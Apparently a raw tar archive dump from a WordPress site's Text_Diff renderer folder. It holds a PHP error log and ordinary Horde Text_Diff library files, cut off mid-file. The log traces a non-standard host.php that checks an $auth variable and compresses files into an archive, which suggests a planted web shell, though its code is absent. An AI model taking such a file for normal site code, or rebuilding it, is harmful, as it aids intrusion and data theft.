[09-Jun-2026 12:34:50 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:51 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:53 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:55 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:56 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:57 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:58 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:34:59 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:00 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:05 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:07 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:10 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:11 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:13 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:14 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:15 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:16 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1119
Stack trace:
#0 /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php(1119): PharData->compress()
#1 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1119
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1234
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1424
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/Engine.tar.gz" exists and must be unlinked prior to conversion in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php:1119
Stack trace:
#0 /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php(1119): PharData->compress()
#1 {main}
  thrown in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 1119
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Undefined variable $auth in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
[09-Jun-2026 12:35:18 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/kagibyzw/public_html/wp-includes/Text/Diff/Renderer/host.php on line 590
                                                                                                                                                                                                                                                     inline.php                                                                                          0000644                 00000012630 15212004204 0006523 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        Engine.tar                                                                                          0000644                 00000107000 15212004204 0006445 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       xdiff.php                                                                                           0000644                 00000004233 15212004202 0006343 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the xdiff PECL package (http://pecl.php.net/package/xdiff)
 * to compute the differences between the two input arrays.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Jon Parise <jon@horde.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_xdiff {

    /**
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        /* Convert the two input arrays into strings for xdiff processing. */
        $from_string = implode("\n", $from_lines);
        $to_string = implode("\n", $to_lines);

        /* Diff the two strings and convert the result to an array. */
        $diff = xdiff_string_diff($from_string, $to_string, count($to_lines));
        $diff = explode("\n", $diff);

        /* Walk through the diff one line at a time.  We build the $edits
         * array of diff operations by reading the first character of the
         * xdiff output (which is in the "unified diff" format).
         *
         * Note that we don't have enough information to detect "changed"
         * lines using this approach, so we can't add Text_Diff_Op_changed
         * instances to the $edits array.  The result is still perfectly
         * valid, albeit a little less descriptive and efficient. */
        $edits = array();
        foreach ($diff as $line) {
            if (!strlen($line)) {
                continue;
            }
            switch ($line[0]) {
            case ' ':
                $edits[] = new Text_Diff_Op_copy(array(substr($line, 1)));
                break;

            case '+':
                $edits[] = new Text_Diff_Op_add(array(substr($line, 1)));
                break;

            case '-':
                $edits[] = new Text_Diff_Op_delete(array(substr($line, 1)));
                break;
            }
        }

        return $edits;
    }

}
                                                                                                                                                                                                                                                                                                                                                                     shell.php                                                                                           0000644                 00000012123 15212004202 0006347 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Class used internally by Diff to actually compute the diffs.
 *
 * This class uses the Unix `diff` program via shell_exec to compute the
 * differences between the two input arrays.
 *
 * Copyright 2007-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Milian Wolff <mail@milianw.de>
 * @package Text_Diff
 * @since   0.3.0
 */
class Text_Diff_Engine_shell {

    /**
     * Path to the diff executable
     *
     * @var string
     */
    var $_diffCommand = 'diff';

    /**
     * Returns the array of differences.
     *
     * @param array $from_lines lines of text from old file
     * @param array $to_lines   lines of text from new file
     *
     * @return array all changes made (array with Text_Diff_Op_* objects)
     */
    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $temp_dir = Text_Diff::_getTempDir();

        // Execute gnu diff or similar to get a standard diff file.
        $from_file = tempnam($temp_dir, 'Text_Diff');
        $to_file = tempnam($temp_dir, 'Text_Diff');
        $fp = fopen($from_file, 'w');
        fwrite($fp, implode("\n", $from_lines));
        fclose($fp);
        $fp = fopen($to_file, 'w');
        fwrite($fp, implode("\n", $to_lines));
        fclose($fp);
        $diff = shell_exec($this->_diffCommand . ' ' . $from_file . ' ' . $to_file);
        unlink($from_file);
        unlink($to_file);

        if (is_null($diff)) {
            // No changes were made
            return array(new Text_Diff_Op_copy($from_lines));
        }

        $from_line_no = 1;
        $to_line_no = 1;
        $edits = array();

        // Get changed lines by parsing something like:
        // 0a1,2
        // 1,2c4,6
        // 1,5d6
        preg_match_all('#^(\d+)(?:,(\d+))?([adc])(\d+)(?:,(\d+))?$#m', $diff,
            $matches, PREG_SET_ORDER);

        foreach ($matches as $match) {
            if (!isset($match[5])) {
                // This paren is not set every time (see regex).
                $match[5] = false;
            }

            if ($match[3] == 'a') {
                $from_line_no--;
            }

            if ($match[3] == 'd') {
                $to_line_no--;
            }

            if ($from_line_no < $match[1] || $to_line_no < $match[4]) {
                // copied lines
                assert($match[1] - $from_line_no == $match[4] - $to_line_no);
                array_push($edits,
                    new Text_Diff_Op_copy(
                        $this->_getLines($from_lines, $from_line_no, $match[1] - 1),
                        $this->_getLines($to_lines, $to_line_no, $match[4] - 1)));
            }

            switch ($match[3]) {
            case 'd':
                // deleted lines
                array_push($edits,
                    new Text_Diff_Op_delete(
                        $this->_getLines($from_lines, $from_line_no, $match[2])));
                $to_line_no++;
                break;

            case 'c':
                // changed lines
                array_push($edits,
                    new Text_Diff_Op_change(
                        $this->_getLines($from_lines, $from_line_no, $match[2]),
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                break;

            case 'a':
                // added lines
                array_push($edits,
                    new Text_Diff_Op_add(
                        $this->_getLines($to_lines, $to_line_no, $match[5])));
                $from_line_no++;
                break;
            }
        }

        if (!empty($from_lines)) {
            // Some lines might still be pending. Add them as copied
            array_push($edits,
                new Text_Diff_Op_copy(
                    $this->_getLines($from_lines, $from_line_no,
                                     $from_line_no + count($from_lines) - 1),
                    $this->_getLines($to_lines, $to_line_no,
                                     $to_line_no + count($to_lines) - 1)));
        }

        return $edits;
    }

    /**
     * Get lines from either the old or new text
     *
     * @access private
     *
     * @param array $text_lines Either $from_lines or $to_lines (passed by reference).
     * @param int   $line_no    Current line number (passed by reference).
     * @param int   $end        Optional end line, when we want to chop more
     *                          than one line.
     *
     * @return array The chopped lines
     */
    function _getLines(&$text_lines, &$line_no, $end = false)
    {
        if (!empty($end)) {
            $lines = array();
            // We can shift even more
            while ($line_no <= $end) {
                array_push($lines, array_shift($text_lines));
                $line_no++;
            }
        } else {
            $lines = array(array_shift($text_lines));
            $line_no++;
        }

        return $lines;
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                             string.php                                                                                          0000644                 00000020233 15212004202 0006547 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * Parses unified or context diffs output from eg. the diff utility.
 *
 * Example:
 * <code>
 * $patch = file_get_contents('example.patch');
 * $diff = new Text_Diff('string', array($patch));
 * $renderer = new Text_Diff_Renderer_inline();
 * echo $renderer->render($diff);
 * </code>
 *
 * Copyright 2005 Örjan Persson <o@42mm.org>
 * Copyright 2005-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Örjan Persson <o@42mm.org>
 * @package Text_Diff
 * @since   0.2.0
